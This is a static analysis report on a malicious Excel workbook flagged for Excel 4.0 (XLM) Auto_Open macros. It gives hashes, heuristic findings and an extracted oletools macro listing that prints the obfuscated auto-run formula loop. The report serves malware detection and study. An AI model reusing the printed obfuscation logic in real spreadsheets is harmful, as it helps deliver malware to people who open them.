Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b974b8291fc35b51…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:53 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: e2d6db1ec5a3dc012d1c01d5a3c5b9df SHA-1: 3524afe846f17e1006bece3a40be338dfb02b26a SHA-256: b974b8291fc35b51d21b02803f9728b7646b7d9a423409279143be3cedc526d7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6693 bytes
SHA-256: 422c0d31959b92c682bd4b89b276147f5ae488fcadb60b7918f5072940d67606
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Guaa
' 0018     26 LABEL : Cell Value, String Constant - aDdOJEhmALR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C130 
' 0018     21 LABEL : Cell Value, String Constant - eyJYaG len=0 
' 0018     27 LABEL : Cell Value, String Constant - FsNpNNhbKGoY len=0 
' 0018     23 LABEL : Cell Value, String Constant - HyMbRSQB len=0 
' 0018     21 LABEL : Cell Value, String Constant - jDANTd len=0 
' 0018     23 LABEL : Cell Value, String Constant - jVvKKJCK len=0 
' 0018     23 LABEL : Cell Value, String Constant - KRsxgsIe len=0 
' 0018     27 LABEL : Cell Value, String Constant - lbOeMTXtWGsC len=0 
' 0018     21 LABEL : Cell Value, String Constant - lPwYro len=0 
' 0018     27 LABEL : Cell Value, String Constant - NncBRbPYnyBM len=0 
' 0018     23 LABEL : Cell Value, String Constant - OgPhIEfd len=0 
' 0018     27 LABEL : Cell Value, String Constant - QkAanqtMlidC len=0 
' 0018     22 LABEL : Cell Value, String Constant - qpURiDx len=0 
' 0018     26 LABEL : Cell Value, String Constant - qZDwCFPFeFk len=0 
' 0018     27 LABEL : Cell Value, String Constant - RCcrDiklcFJG len=0 
' 0018     27 LABEL : Cell Value, String Constant - ubkiFfCZvUBa len=0 
' 0018     20 LABEL : Cell Value, String Constant - UfAlY len=0 
' 0018     27 LABEL : Cell Value, String Constant - VAPyHOxvnRyQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - xktRMVRoi len=0 
' 0018     24 LABEL : Cell Value, String Constant - YWROijDNV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Guaa,C50,"SET.NAME("jDANTd",0+VALUE("0"))",""
'  Guaa,C54,"SET.NAME("ubkiFfCZvUBa",jDANTd)",""
'  Guaa,C56,"SET.NAME("FsNpNNhbKGoY",jDANTd)",""
'  Guaa,C60,"SET.NAME("lbOeMTXtWGsC",COUNTA(VAPyHOxvnRyQ))",""
'  Guaa,C63,"SET.NAME("qpURiDx",COUNTA(xktRMVRoi))",""
'  Guaa,C67,[],""
'  Guaa,C70,"SET.NAME("OgPhIEfd","")",""
'  Guaa,C75,"ubkiFfCZvUBa",""
'  Guaa,C78,"SET.NAME("jVvKKJCK",HLOOKUP("*",VAPyHOxvnRyQ,ubkiFfCZvUBa,FALSE))",""
'  Guaa,C80,"eyJYaG",""
'  Guaa,T84,"",178.00000000000000000000
'  Guaa,C85,"SET.NAME("NncBRbPYnyBM",jDANTd)",""
'  Guaa,T85,"",-875.00000000000000000000
'  Guaa,T86,"",-722.00000000000000000000
'  Guaa,C87,[],""
'  Guaa,T87,"",523.00000000000000000000
'  Guaa,T88,"",919.00000000000000000000
'  Guaa,C89,"NncBRbPYnyBM",""
'  Guaa,T89,"",-505.00000000000000000000
'  Guaa,C91,"lPwYro",""
'  Guaa,C94,"HyMbRSQB",""
'  Guaa,C97,"YWROijDNV",""
'  Guaa,C99,"SET.NAME("aDdOJEhmALR",VALUE(HLOOKUP("*",xktRMVRoi,YWROijDNV,FALSE)))",""
'  Guaa,C103,"UfAlY",""
'  Guaa,C108,"OgPhIEfd",""
'  Guaa,C111,"FsNpNNhbKGoY",""
'  Guaa,C113,NEXT(),""
'  Guaa,C115,"QkAanqtMlidC",""
'  Guaa,C118,[],""
'  Guaa,C120,"RCcrDiklcFJG",""
'  Guaa,C123,NEXT(),""
'  Guaa,C127,RETURN(),""
'  Guaa,C154,"SET.NAME("qZDwCFPFeFk",C50)",""
'  Guaa,C156,"VAPyHOxvnRyQ",""
'  Guaa,C161,"SET.NAME("xktRMVRoi",R50C13)",""
'  Guaa,C163,"SET.NAME("RCcrDiklcFJG",173)",""
'  Guaa,C168,"SET.NAME("KRsxgsIe",3)",""
'  Guaa,C172,qZDwCFPFeFk(),""
'  Guaa,C173,HALT(),""